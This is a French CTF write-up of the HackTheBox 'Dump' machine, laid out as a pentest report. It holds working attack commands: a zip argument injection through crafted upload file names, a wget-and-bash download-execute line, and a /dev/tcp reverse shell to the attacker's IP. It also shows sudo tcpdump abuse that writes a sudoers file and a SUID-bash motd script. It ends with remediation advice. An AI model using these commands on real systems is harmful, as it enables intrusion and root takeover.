RAPPORT DE PENTEST

Dump – HackTheBox Writeup

CLIENT	AUTEUR DU RAPPORT	RÔLE DE L'AUTEUR	PÉRIODE
HackTheBox	Philippe Bécué	Pen-tester	16/02/2026 - 18/02/2026

Ce rapport est publié avec l'accord du client, une fois les vulnérabilités corrigées.

Sommaire

01 **Avertissement — Simulation / CTF**
Informations légales, confidentialité et conditions d'utilisation de ce document

02 **Vidéo Démo**
Démonstration vidéo de l'exploitation ou du déroulement de la mission

03 **Tableau des vulnérabilités**
Grille de classification des niveaux de gravité et scores CVSS utilisés dans ce rapport

04 **Liste des intervenants**
Présentation des membres de l'équipe ayant participé à la mission de test d'intrusion

05 **Scope**
Définition du périmètre d'audit — systèmes et applications inclus et exclus du test

06 **Information Gathering**
Collecte d'informations publiques sur la cible : WHOIS, DNS, certificats SSL, technologies exposées

07 **OSINT**
Reconnaissance en sources ouvertes — réseaux sociaux, fuites de données, empreinte numérique

08 **Enumeration**
Découverte des services, ports ouverts, versions logicielles et points d'entrée identifiés

09 **Analyse de vulnérabilités**
Identification, qualification et classification des failles de sécurité découvertes

10 **Exploitation**
Démonstration technique de l'exploitation des vulnérabilités confirmées

11 **Post-Exploitation**
Actions post-compromission — élévation de privilèges, persistance et mouvement latéral

12 **Tableau de synthèse des vulnérabilités**
Récapitulatif consolidé de toutes les vulnérabilités avec leur score CVSS et leur criticité

13 **Conclusion**
Synthèse de la mission, bilan global du niveau de sécurité et évaluation du risque

14 **Solution**
Recommandations techniques et organisationnelles pour remédier aux vulnérabilités identifiées

01

Avertissement — Simulation / CTF

Le présent document est le compte-rendu d'une mission réalisée dans un cadre simulé, à des fins exclusivement pédagogiques et d'entraînement. L'infrastructure ciblée est une machine virtuelle ou un environnement de type Capture The Flag (CTF), volontairement vulnérable et conçu pour l'apprentissage des techniques offensives et défensives en cybersécurité. Aucun système de production réel, aucune donnée personnelle et aucune infrastructure tiers n'ont été impliqués lors de cette mission.

Les techniques, outils et méthodes décrits dans ce rapport sont présentés à titre éducatif. Leur reproduction sur des systèmes informatiques sans autorisation explicite du propriétaire est illégale et passible de poursuites pénales en vertu de la législation applicable en matière de cybercriminalité. L'auteur décline toute responsabilité en cas d'utilisation détournée des informations contenues dans ce document à des fins malveillantes ou non autorisées.

Ce rapport s'inscrit dans une démarche de montée en compétences et de documentation des savoir-faire en sécurité offensive. Il peut être partagé à des fins de démonstration ou de référence professionnelle dans le respect des conditions d'utilisation de la plateforme ou de l'organisateur du challenge concerné. Toute reproduction partielle ou totale à des fins commerciales est interdite sans autorisation préalable de l'auteur.

02

Vidéo Démo

Une démonstration vidéo de cette mission est disponible en ligne. La vidéo illustre le déroulement de l'exploitation et les techniques mises en œuvre.

Video

> LIEN VERS LA VIDÉO
>
> https://www.youtube.com/watch?v=WPCosXjAKPE

03

Tableau des vulnérabilités

Le tableau suivant définit les niveaux de gravité et les plages de scores CVSS correspondantes utilisés dans tout le document pour évaluer la vulnérabilité et l'impact des risques.

GRAVITÉ	PLAGE DE SCORE CVSS V3	DÉFINITION
CRITIQUE	9.0 – 10.0	L'exploitation est simple et aboutit généralement à une compromission totale du système. Il est conseillé d'établir un plan d'action et d'appliquer le correctif immédiatement.
ÉLEVÉE	7.0 – 8.9	L'exploitation est plus difficile mais peut entraîner une élévation de privilèges et potentiellement une perte de données ou une interruption de service. Il est conseillé d'établir un plan d'action et d'appliquer le correctif dès que possible.
MODÉRÉE	4.0 – 6.9	Des vulnérabilités existent mais ne sont pas directement exploitables ou nécessitent des étapes supplémentaires comme l'ingénierie sociale. Il est conseillé d'établir un plan d'action et d'appliquer le correctif après résolution des problèmes prioritaires.
FAIBLE	0.1 – 3.9	Les vulnérabilités ne sont pas exploitables mais réduiraient la surface d'attaque de l'organisation. Il est conseillé d'établir un plan d'action et d'appliquer le correctif lors de la prochaine fenêtre de maintenance.
INFORMATIVE	N/A	Aucune vulnérabilité n'existe. Des informations supplémentaires sont fournies concernant les éléments remarqués lors des tests, les contrôles solides et la documentation complémentaire.

04

Liste des intervenants

NOM	RÔLE	EMAIL	ENVIRONNEMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Kali Linux

05

Scope

Portée du test

NOM	DÉTAILS
10.129.234.97	Machine HackTheBox – Dump (Linux, Hard)

Exclusions du scope

Aucune exclusion définie. Cliquez sur "Ajouter une exclusion" pour commencer.

06

Information Gathering

Un scan `nmap` rapide sur l'ensemble des ports TCP révèle deux services exposés :

```
nmap -p- -vvv --min-rate 10000 10.129.234.97

Nmap scan report for 10.129.234.97
Host is up, received reset ttl 63 (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
```

On affine ensuite avec une détection de version et de scripts NSE sur ces deux ports :

```
nmap -p 22,80 -sCV 10.129.234.97

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey:
|   3072 fb:31:61:8d:2f:86:e5:60:f9:e6:24:a3:1c:62:0c:ae (RSA)
|   256 0c:b7:c4:fb:4a:fc:31:1b:e9:4b:0b:d1:19:56:2f:ce (ECDSA)
|_  256 3c:c6:e8:71:4d:9a:d5:1d:86:dd:dd:6c:82:ee:7e:4d (ED25519)
80/tcp open  http    Apache httpd 2.4.65 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: hdmpll?
|_http-server-header: Apache/2.4.65 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

La valeur TTL de 63 est caractéristique d'un système Linux situé à un seul saut de distance. La version d'OpenSSH (`8.4p1 Debian 5+deb11u5`) correspond à Debian 11 Bullseye. La surface d'attaque initiale se limite à un serveur SSH et un service web Apache tournant sur PHP.

07

OSINT

Aucun CVE critique n'est identifié pour Apache 2.4.65 ni OpenSSH 8.4p1 à la date de publication de la machine. L'attention se porte donc sur la logique applicative.

La fonctionnalité de téléchargement d'archives ZIP laisse fuiter dans la réponse HTTP le résultat brut de la commande `zip` exécutée côté serveur. Cette observation oriente directement vers la recherche d'une **injection de paramètres (parameter/wildcard injection)** dans les outils Unix de compression.

Consultation de GTFObins – zip : la combinaison des options `-T` et `-TT <commande>` permet d'exécuter une commande arbitraire lors du test d'intégrité de l'archive générée. Cette technique fonctionne dès que les noms de fichiers sont passés sans guillemets ni séparateur `--` à l'interpréteur.

Pour la phase de post-exploitation, la recherche sur GTFObins – tcpdump identifie plusieurs options abusables : `-z` pour exécuter une commande, `-Z` pour changer le propriétaire du fichier de sortie, et `-r` pour lire depuis un fichier existant plutôt qu'une interface réseau.

08

Enumeration

Exploration du service web (port 80)

L'application présente un formulaire de connexion et d'inscription. Après création d'un compte, trois fonctionnalités sont disponibles :

- **Capture Live Traffic** : lance une capture `tcpdump` sur le port 27714 pendant 10 secondes, puis affiche les statistiques
- **Upload PCAP** : permet de téléverser un fichier `.pcap` qui s'ajoute à la liste des captures
- **Download Captures** : déclenche la création d'une archive ZIP contenant toutes les captures de l'utilisateur

L'analyse des en-têtes HTTP confirme une application PHP sur Apache :

```
HTTP/1.1 200 OK
Server: Apache/2.4.65 (Debian)
Set-Cookie: PHPSESSID=2celb3j7qoovdmfpcac4tm5452; path=/
Content-Type: text/html; charset=UTF-8
```

Brute-force de répertoires (Feroxbuster)

```
feroxbuster -u http://10.129.234.97 -x php

200  GET  http://10.129.234.97/style.css
200  GET  http://10.129.234.97/index.php
301  GET  http://10.129.234.97/downloads => http://10.129.234.97/downloads/
302  GET  http://10.129.234.97/upload.php => index.php
302  GET  http://10.129.234.97/logout.php => index.php
302  GET  http://10.129.234.97/view.php => index.php
302  GET  http://10.129.234.97/download.php => index.php
302  GET  http://10.129.234.97/delete.php => index.php
302  GET  http://10.129.234.97/capture.php => index.php
```

La structure est minimaliste : chaque fichier PHP correspond à une fonctionnalité de l'application. Toutes les routes redirigent vers `index.php` en l'absence de session active.

Fuite de la sortie de zip dans les commentaires HTML

La réponse HTTP de `download.php` contient un commentaire HTML révélant la sortie brute de la commande `zip` exécutée côté serveur :

```
HTTP/1.1 301 Moved Permanently
Location: downloads/0984d7dc-b1e8-4987-a144-b3f64cf48b88.zip

Preparing download...
<!--
  adding: 0f0a5865-6b8c-4e83-8ebe-b2fa5680f6d1 (deflated 56%)
  adding: 2589e07e-2395-4bfa-ba41-9b5e1d530b3b (deflated 33%)
  adding: c0061667-4e91-4f09-bfeb-b3669046c05a (deflated 33%)
-->
```

Ce format est identique à la sortie standard de la commande `zip` sur Linux :

```
zip test.zip *
  adding: assets/ (stored 0%)
  adding: dump.md (deflated 61%)
  adding: test.pcap (stored 0%)
```

L'application utilise donc un appel système à `zip`, et les noms de fichiers des captures sont probablement passés directement en arguments. Si ces noms ne sont pas protégés, tout fichier dont le nom commence par - sera interprété comme un argument par `zip`.

09

Analyse de vulnérabilités

Wildcard / Parameter Injection dans zip

Lorsque le script PHP construit la commande `zip` pour générer l'archive, il passe les noms de fichiers sans guillemets et sans séparateur `--` pour isoler les arguments des noms de fichiers. Si un fichier uploadé porte un nom commençant par `-`, ce nom est interprété par `zip` comme une option de ligne de commande — c'est l'essence de la **parameter injection**.

La confirmation se fait en uploadant un fichier nommé `--help` : lors du téléchargement, la page d'aide complète de `zip` apparaît dans les commentaires HTML de la réponse, prouvant que l'argument a bien été interprété par le binaire.

Pour obtenir une exécution de code, on exploite la combinaison d'options documentée sur GTFObins :

- `-T` : active le test d'intégrité de l'archive — `zip` appelle `unzip -tqq` après la création
- `-TT <cmd>` : remplace la commande de test par la commande spécifiée ; `{}` est substitué par le chemin de l'archive temporaire

En contrôlant deux fichiers nommés respectivement `-T` et `-TT <commande>`, on force `zip` à exécuter la commande de notre choix lors de la phase de test d'intégrité.

Sudo tcpdump – Règle trop permissive et Parameter Injection

L'application a besoin de capturer le trafic réseau en tant que root (seul root peut ouvrir les sockets raw). Pour cela, `www-data` dispose d'une règle sudo autorisant l'exécution de `tcpdump` sans mot de passe :

```
(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10
    -w/var/cache/captures/*/[0-9a-f]{8}-[0-9a-f]{4}-...
    -F/var/cache/captures/filter.[0-9a-f]{8}-[0-9a-f]{4}-...
```

Plusieurs failles de conception s'accumulent dans cette règle :

- Le `*` dans `-w/var/cache/captures/*/` accepte n'importe quel sous-répertoire, y compris une séquence de traversal de type `a/../../../../tmp/`

- En fractionnant la valeur de `-w` avec un premier chemin valide court, on peut injecter un second `-w` qui sera la destination réelle d'écriture
- L'option `-Z [user]` fait changer le propriétaire du fichier de sortie vers l'utilisateur cible, après que tcpdump a ouvert les interfaces réseau avec les droits root
- L'option `-r [pcap]` lit depuis un fichier PCAP existant au lieu d'écouter sur une interface — le contenu du PCAP est reproduit dans le fichier de sortie `-w`

La combinaison de `-Z root`, `-r sudoers.pcap` (un PCAP spécialement crafté contenant une ligne sudoers) et `-w /etc/sudoers.d/[GUID]` permet d'écrire un fichier de configuration sudoers appartenant à root et contenant une règle d'élévation de privilèges pour l'utilisateur fritz.

10

Exploitation

Fuzzing des caractères spéciaux dans les noms de fichiers

On enregistre une requête d'upload dans Burp Suite et on place un marqueur `FUZZ` dans le nom du fichier. On lance ensuite `ffuf` avec une wordlist de caractères spéciaux pour vérifier lesquels sont acceptés :

```
ffuf -request upload.request -w /opt/SecLists/Fuzzing/special-chars.txt -request-proto http
```

Tous les caractères spéciaux sont acceptés par l'upload. Certains (comme `|`, `&`, `(`, `)`) génèrent des délais plus longs sur le serveur, suggérant une interprétation par le shell. La réponse de `download.php` confirme que les noms sont passés bruts à `zip` sans aucune sanitisation.

Preuve de concept : injection du paramètre --help

On crée localement un fichier nommé `--help` (le double tiret initial est obligatoire pour éviter que le shell local n'interprète ce nom comme une option) :

```
touch -- '--help'
```

Après upload et déclenchement du téléchargement, la réponse HTTP contient la page d'aide complète de `zip` dans un commentaire HTML :

```
Preparing download...
<!--
Copyright (c) 1990-2008 Info-ZIP
Zip 3.0 (July 5th 2008). Usage:
zip [-options] [-b path] [-t mmddyyyy] [-n suffixes] [zipfile list] [-xi list]
  -f   freshen: only changed files  -u   update: only changed or new files
  -T   test completed temp archive with unzip before updating archive
  -TT cmd   use command cmd instead of 'unzip -tqq' to test archive
  ...
-->
```

L'injection est confirmée : `zip` a interprété `--help` comme son option d'aide plutôt que comme un nom de fichier.

On pousse plus loin avec l'option `-sc` (show command line) pour voir exactement comment la commande est construite côté serveur :

```
# Après upload d'un fichier nommé "-sc" :
Preparing download...
<!--
command line processed:
  [zip] [-sc] [/var/www/html/downloads/...zip] [-TT] [...]
-->
```

Construction de la chaîne RCE

L'objectif est d'injecter les options `-T` et `-TT <commande>` dans le bon ordre. Les tests locaux confirment que les deux arguments doivent être séparés, et qu'un espace devant le tiret empêche l'interprétation comme option :

```
# Confirmation locale :
zip test.zip -T '-TT wget 10.10.14.17/shell.sh' test.pcap
updating: test.pcap (stored 0%)
--2025-11-01 11:07:01-- http://10.10.14.17/shell.sh
Connecting to 10.10.14.17:80... connected.
HTTP request sent, awaiting response... 404 File not found
```

Le serveur cible reçoit la requête web, confirmant l'exécution de code. On ne peut pas inclure de / dans les noms de fichiers uploadés (le serveur extrait uniquement la partie après le dernier slash). Pour contourner, on utilise `wget` pointant directement vers l'IP de l'attaquant, qui télécharge `index.html` par défaut.

On prépare le reverse shell dans un fichier nommé `index.html` servi par un serveur Python :

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.17/443 0>&1
```

Les trois fichiers à uploader :

1. Fichier nommé `-T` (active le mode test d'intégrité)
2. Fichier nommé `-TT wget 10.10.14.17 -O s.sh;bash s.sh;echo` (télécharge et exécute le shell)

3. Un fichier PCAP légitime (nécessaire pour que zip ait un contenu à archiver)

Obtention du shell www-data

On démarre le listener et le serveur HTTP, puis on déclenche le téléchargement via l'interface web. Le serveur récupère le reverse shell depuis la machine d'attaque :

```
python3 -m http.server 80
10.129.234.97 - - [01/Nov/2025 11:21:25] "GET / HTTP/1.1" 200 -
```

Et la connexion arrive sur le listener netcat :

```
nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.97 37874
bash: cannot set terminal process group (548): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dump:/var/cache/captures/23d982eb-1903-46ff-a45e-5566af0037a3$
```

Upgrade du shell pour obtenir un TTY complet :

```
script /dev/null -c bash
# Ctrl+Z pour mettre en arrière-plan
stty raw -echo; fg
reset
Terminal type? screen
www-data@dump:/var/cache/captures/23d982eb-1903-46ff-a45e-5566af0037a3$
```

11

Post-Exploitation

Énumération post-foothold (www-data)

Deux utilisateurs disposent d'un home et d'un shell valide sur la machine :

```
cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:Debian:/home/admin:/bin/bash
fritz:x:1001:1001::/home/fritz:/bin/bash
```

L'arborescence `/var/www` contient les sources PHP de l'application et une base de données SQLite :

```
ls /var/www
database  html  userdata

ls /var/www/html
capture.php    delete.php    downloads  logout.php  upload.php
capturing.php  download.php  index.php  style.css   view.php

ls /var/www/database/
database.sqlite3
```

La configuration sudo de `www-data` est particulièrement intéressante :

```
sudo -l
User www-data may run the following commands on dump:
    (ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10
        -w/var/cache/captures/*/[0-9a-f][0-9a-f][0-9a-f]...
        -F/var/cache/captures/filter.[0-9a-f][0-9a-f][0-9a-f]...
```

Extraction du mot de passe depuis la base SQLite

La base de données `/var/www/database/database.sqlite3` contient une unique table `users`. Son contenu révèle des mots de passe stockés en clair :

```
sqlite3 /var/www/database/database.sqlite3
.headers on
select * from users;
username|password|guid
fritz|Passw0rdH4shingIsforNoobZ!|534ce8b9-6a77-4113-a8c1-66462519bfd1
```

Le mot de passe de l'utilisateur `fritz` est exposé en clair : `Passw0rdH4shingIsforNoobZ!`.

Accès SSH en tant que fritz – Flag user

Les identifiants récupérés permettent une connexion directe via SSH :

```
ssh fritz@10.129.234.97
# Mot de passe : Passw0rdH4shingIsforNoobZ!
Linux dump 5.10.0-36-cloud-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64
fritz@dump:~$

cat ~/user.txt
ea37a470************************
```

L'utilisateur fritz n'a aucun droit sudo sur cette machine :

```
sudo -l
Sorry, user fritz may not run sudo on dump.
```

Privilèges www-data : primitives d'écriture arbitraire via sudo tcpdump

La règle sudo de `www-data` autorise l'utilisation de `tcpdump` avec des arguments partiellement contrôlables. On identifie et chaîne plusieurs primitives :

Directory Traversal dans -w : Le `*` dans le chemin `-w/var/cache/captures/*/` accepte n'importe quel sous-répertoire, y compris une séquence de traversal permettant d'écrire hors du répertoire autorisé :

```
touch /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
sudo tcpdump -c10 \
    -w/var/cache/captures/a/../../../../dev/shm/11111111-1111-1111-1111-111111111111 \
    -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
tcpdump: listening on eth0, link-type EN10MB (Ethernet)
10 packets captured
```

Injection d'un second -w : En fractionnant le premier `-w` avec un chemin valide mais court (satisfaisant le regex), on peut injecter un second `-w` qui sera la destination réelle :

```
sudo tcpdump -c10 \
    -w/var/cache/captures/a/ \
    -w /dev/shm/11111111-1111-1111-1111-111111111112 \
    -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
```

Changement de propriétaire avec -Z : L'option `-Z [user]` fait changer le propriétaire du fichier de sortie vers l'utilisateur spécifié, après que tcpdump a ouvert les interfaces réseau avec les droits root :

```
sudo tcpdump -c10 \
    -w/var/cache/captures/a/ \
    -Z root \
    -w /dev/shm/11111111-1111-1111-1111-111111111113 \
    -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

ls -l /dev/shm/11111111-1111-1111-1111-111111111113
-rw-r--r-- 1 root root 913 Nov  2 00:38 /dev/shm/11111111-1111-1111-1111-111111111113
```

Écriture d'un fichier sudoers via PCAP crafté → root

L'option `-r [pcap]` de tcpdump permet de lire depuis un fichier PCAP existant au lieu d'écouter sur une interface réseau. Le contenu du PCAP est alors répliqué dans le fichier de sortie `-w`. On peut donc injecter du contenu arbitraire en créant un PCAP spécialement préparé.

Sur la machine d'attaque, on crée un fichier texte contenant la règle sudoers souhaitée, puis on l'encapsule dans un PCAP en le transmettant via UDP sur une capture locale :

```
# Fichier sudoers source :

fritz ALL=(ALL:ALL) NOPASSWD: ALL

# Création du PCAP :
sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 &
cat sudoers | nc -u 127.0.0.1 9001

# Vérification du contenu :
cat sudoers.pcap
p/      iEME?@@j#)+>
fritz ALL=(ALL:ALL) NOPASSWD: ALL
```

On transfère le PCAP vers la cible (encode base64, copier/coller, décode), puis on l'utilise pour écrire un fichier sudoers appartenant à root dans `/etc/sudoers.d/` :

```
sudo tcpdump -c10 \
    -w/var/cache/captures/a/ \
    -Z root \
    -r sudoers.pcap \
    -w /etc/sudoers.d/11111111-1111-1111-1111-111111111116 \
    -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
reading from file sudoers.pcap, link-type EN10MB (Ethernet)
```

Depuis le compte fritz, on vérifie que la règle sudo est effective. Les quelques octets d'en-tête PCAP en début de fichier génèrent une erreur de syntaxe ignorée, mais la ligne sudoers valide est bien appliquée :

```
sudo -l
/etc/sudoers.d/11111111-1111-1111-1111-111111111116:1:77: syntax error
User fritz may run the following commands on dump:
    (ALL : ALL) NOPASSWD: ALL
```

On obtient un shell root et le flag :

```
sudo -i
/etc/sudoers.d/11111111-1111-1111-1111-111111111116:1:77: syntax error
root@dump:~# cat /root/root.txt
```

```
84406779************************
```

Méthode alternative : écriture dans /etc/update-motd.d/

Une seconde voie d'escalade exploite les scripts `/etc/update-motd.d/`, exécutés par root lors de chaque connexion SSH. En utilisant la primitive d'écriture avec `-Z fritz`, on crée un fichier dans ce répertoire appartenant à fritz :

```
sudo tcpdump -c10 \
    -w/var/cache/captures/a/ \
    -Z fritz \
    -w /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd \
    -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
```

Fritz étant propriétaire du fichier créé, il peut le rendre exécutable et en réécrire le contenu avec un script bash malveillant :

```
chmod +x /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd
echo -e '#!/bin/bash

cp /bin/bash /tmp/0xdf
chmod 6777 /tmp/0xdf' | tee /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd
```

À la prochaine connexion SSH de fritz, root exécute ce script automatiquement, copiant bash avec le bit SUID positionné :

```
ssh fritz@10.129.234.97
fritz@dump:~$ /tmp/0xdf -p
0xdf-5.1# cat /root/root.txt
84406779************************
```

Note sur AppArmor

Un profil AppArmor est actif sur `tcpdump` (`/etc/apparmor.d/usr.bin.tcpdump`). Il bloque notamment :

- L'écriture dans les fichiers cachés du répertoire HOME (`audit deny @{HOME}/.* mrwkl`) — ce qui interdit d'écrire dans `/root/.ssh/authorized_keys` directement

- L'utilisation de `-z` avec des binaires arbitraires (seuls `gzip` et `bzip2` sont autorisés)

En revanche, le profil autorise la lecture et l'écriture sur tous les fichiers `.pcap` et `.cap` via la règle `/**.[pP][cC][aA][pP] rw`, et ne restreint pas l'écriture dans `/etc/sudoers.d/` ni `/etc/update-motd.d/`, ce qui permet les deux méthodes d'escalade décrites ci-dessus.

12

Tableau de synthèse des vulnérabilités

Wildcard / Parameter Injection dans la commande zip — CRITICAL

APPLICATION	PORT	TYPE
download.php / /usr/bin/zip	80	RCE

IMPACT PRINCIPAL

Injection de paramètres -T / -TT dans zip via noms de fichiers craftés → exécution de commandes arbitraires en tant que www-data

Stockage de mots de passe en clair dans SQLite — HIGH

APPLICATION	TYPE
/var/www/database/database.sqlite3	Information Disclosure

IMPACT PRINCIPAL

Mot de passe de l'utilisateur fritz exposé en clair → accès SSH latéral

Élévation de privilèges via sudo tcpdump – Parameter Injection — CRITICAL

APPLICATION	TYPE
sudo / /usr/bin/tcpdump	Privilege Escalation

IMPACT PRINCIPAL

Combinaison de -Z root, -r [pcap crafté] et écriture dans /etc/sudoers.d/ → accès root complet

13

Conclusion

La machine Dump est une box de niveau Hard proposant une chaîne d'attaque originale centrée sur l'abus d'outils Unix standard (`zip` et `tcpdump`) lorsque leurs arguments ne sont pas correctement isolés. La difficulté principale réside dans la compréhension fine du comportement de ces outils et la construction minutieuse des arguments injectés.

Chaîne d'attaque complète :

1. Scan Nmap → 2 ports ouverts : SSH (22) et HTTP (80) sur Debian 11
2. Exploration de l'application PHP : inscription, capture PCAP, upload, téléchargement ZIP
3. Observation de la fuite stdout de `zip` dans les commentaires HTML de `download.php`
4. Fuzzing des noms de fichiers et confirmation de la parameter injection
5. Upload de fichiers nommés `-T` et `-TT wget [IP] -O s.sh;bash s.sh;echo` → RCE → shell www-data
6. Lecture de `/var/www/database/database.sqlite3` → mot de passe fritz en clair
7. Connexion SSH fritz → flag user (`ea37a470...`)
8. Exploitation sudo tcpdump : directory traversal + `-Z root` + `-r sudoers.pcap` + écriture dans `/etc/sudoers.d/`
9. Fritz obtient sudo ALL → flag root (`84406779...`)

Points techniques notables :

- AppArmor est configuré sur tcpdump mais ne couvre pas les chemins `/etc/sudoers.d/` et `/etc/update-motd.d/`
- L'option `-V` de tcpdump permet une lecture de fichiers arbitraires via les messages d'erreur (ex. : lire `/root/root.txt` directement sans escalade préalable)
- La combinaison des primitives tcpdump (`-Z`, `-r`, double `-w`) constitue une primitive d'écriture de fichiers avec owner et contenu entièrement contrôlables

14

Solution

1. Corriger l'injection de paramètres dans la génération d'archive ZIP

Le nom des fichiers uploadés ne doit jamais être passé directement à un appel système. La correction la plus sûre consiste à utiliser l'API PHP native plutôt qu'un appel à `zip` :

```
// Remplacement de l'appel système par ZipArchive
$zip = new ZipArchive();
$zip->open($outputPath, ZipArchive::CREATE);
foreach ($files as $file) {
    // Utiliser l'UUID comme nom interne, pas le nom original
    $zip->addFile($file['path'], $file['uuid'] . '.pcap');
}
$zip->close();
```

Si l'appel à `zip` doit être conservé, le nom du fichier doit être validé strictement (whitelist `[a-zA-Z0-9._-]`) et passé avec le séparateur `--` :

```
system('zip -- ' . escapeshellarg($output) . ' ' . escapeshellarg($file));
```

2. Hacher les mots de passe

Les mots de passe ne doivent jamais être stockés en clair en base de données. Utiliser `password_hash()` avec l'algorithme bcrypt :

```
// Inscription
$hash = password_hash($password, PASSWORD_BCRYPT);

// Vérification
if (password_verify($inputPassword, $storedHash)) {
    // Authentification réussie
}
```

3. Restreindre la règle sudo tcpdump

La règle sudo actuelle est trop permissive et expose à plusieurs vecteurs d'attaque. Les améliorations recommandées :

- Supprimer le `*` dans le chemin `-w` et remplacer par un chemin absolu sans traversal possible
- Interdire explicitement les options dangereuses : `-Z`, `-r`, `-V`, `-z` (même si AppArmor les restreint partiellement)
- Envisager l'utilisation d'un wrapper script dédié avec des paramètres strictement définis

```
# Exemple de règle corrigée
www-data ALL=(root) NOPASSWD: /usr/local/bin/tcpdump-wrapper
```

```
#!/bin/bash
# /usr/local/bin/tcpdump-wrapper
# Ne prend qu'un port en argument, génère le nom de fichier en interne
PORT=$1
UUID=$(uuidgen)
OUTPUT="/var/cache/captures/captures/${UUID}.pcap"
exec /usr/bin/tcpdump -c10 -nn -i eth0 -w "${OUTPUT}" "port ${PORT}"
```

4. Renforcer le profil AppArmor de tcpdump

Le profil AppArmor existant devrait être étendu pour interdire l'écriture dans les répertoires de configuration système sensibles :

```
# Ajout dans /etc/apparmor.d/usr.bin.tcpdump
deny /etc/sudoers.d/** rw,
deny /etc/update-motd.d/** rw,
deny /etc/cron*/** rw,
deny /root/** rw,
```

Après modification, recharger le profil :

```
sudo apparmor_parser -r /etc/apparmor.d/usr.bin.tcpdump
```